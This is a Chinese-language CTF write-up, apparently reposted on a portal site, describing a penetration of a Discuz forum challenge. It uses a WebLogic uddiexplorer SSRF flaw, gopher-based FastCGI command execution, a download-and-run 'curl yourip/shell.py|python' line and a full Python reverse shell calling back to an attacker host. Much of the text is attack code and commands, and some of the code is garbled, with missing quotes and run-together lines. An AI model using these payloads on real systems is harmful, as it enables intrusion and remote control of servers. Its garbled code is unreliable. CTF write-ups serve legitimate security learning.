您好,欢迎访问一九零五行业门户网

三个白帽-寻找来自星星的你-第一期

三個白帽-寻找来自星星的你 - 第一期 挑战介绍 来自星星的你被我给丢了,我可能需要用我所有的一切才能把你找回,编了两句就编不下去了,好吧,我承认这是一期渗透题,就是这么直接。
挑战目标 http://0761e975dda0c67cb.jie.sangebaimao.com/
0x01 信息收集 打開地址,是一個dz論壇。似乎不怎麼好玩啊,還是最新版本的。
既然是滲透了,感覺祭出大殺器“掃描目錄”! (字典才是關鍵)
很快就get到關鍵信息了(排除dz原有的目錄及頁面)
/info.php/uddiexplorer/
一個是phpinfo()信息,很有用處的。
/opt/discuz/info.php
另一個是weblogic的東西。
果斷百度 uddiexplorer 漏洞,馬上可以知道 weblogic uddiexplorer存在 ssrf漏洞。
這次滲透的關鍵就在於 ssrf!!!
利用漏洞 ssrf並不只是搞內網,結合三個白帽的結界docker,搞127.0.0.1才是王道!
萬能的百度啊,搜索關鍵字 searchpublicregistries ssrf 漏洞 exp
得到http://www.tuicool.com/articles/ujaqibz 得到一個腳本,自己修改一下拿來用!!!
端口掃描.py #!/usr/bin/env python # -*- coding: utf-8 -*- import reimport requestsdef scan(ip_str): url = 'http://0761e975dda0c67cb.jie.sangebaimao.com' ports = ('21','22','23','53','80','1080','1433','1521','3306','3389','4899','8080','7001','8000','9000','9001',) for port in ports: exp_url = url+/uddiexplorer/searchpublicregistries.jsp?operator=http://%s:%s&rdosearch=name&txtsearchname=sdf&txtsearchkey=&txtsearchfor=&selfor=business+location&btnsubmit=search%(ip_str, port) try: response = requests.get(exp_url, timeout=15, verify=false) re_sult1 = re.findall('weblogic.uddi.client.structures.exception.xml_soapexception',response.content) re_sult2 = re.findall('but could not connect',response.content) if len(re_sult1)!=0 and len(re_sult2)==0: print ip_str+':'+port except exception, e: passif __name__ == __main__: scan('127.0.0.1')
成功破出22,80,3306,7001,9000等端口。
ssrf+gopher一直都很牛逼,最近更是火熱。
還是百度~~
rr菊苣最新文章 《do evil things with gopher://》
0x03 攻击 fastcgi
一般来说 fastcgi 都是绑定在 127.0.0.1 端口上的,但是利用 gopher+ssrf 可以完美攻击 fastcgi 执行任意命令。
0x06 参考
php fastcgi 的远程利用
命令執行 下載fcgi_exp
運行
nc -l -p 9000 >x.txt & go run fcgi_exp.go system 127.0.0.1 9000 /opt/discuz/info.php curl yourip/shell.py|pythonphp -f gopher.php
把payload保存到x.txt
反彈shell的黑科技,bash反彈無效~~ 然後urlencode編碼payload生成ssrf.php
shell.py import socket,subprocess,os s=socket.socket(socket.af_inet,socket.sock_stream) s.connect((yourip,9999)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call([/bin/bash,-i]);
gopher.php
成功生成了利用文件ssrf.php
反彈shell vps運行
nc -lvv 9999
利用ssrf
http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/searchpublicregistries.jsp?&rdosearch=name&txtsearchname=sdf&txtsearchkey=&txtsearchfor=&selfor=business%20location&btnsubmit=search&operator=yourip/ssrf.php
成功反彈~~~
getflag 自己找吧
其它类似信息

推荐信息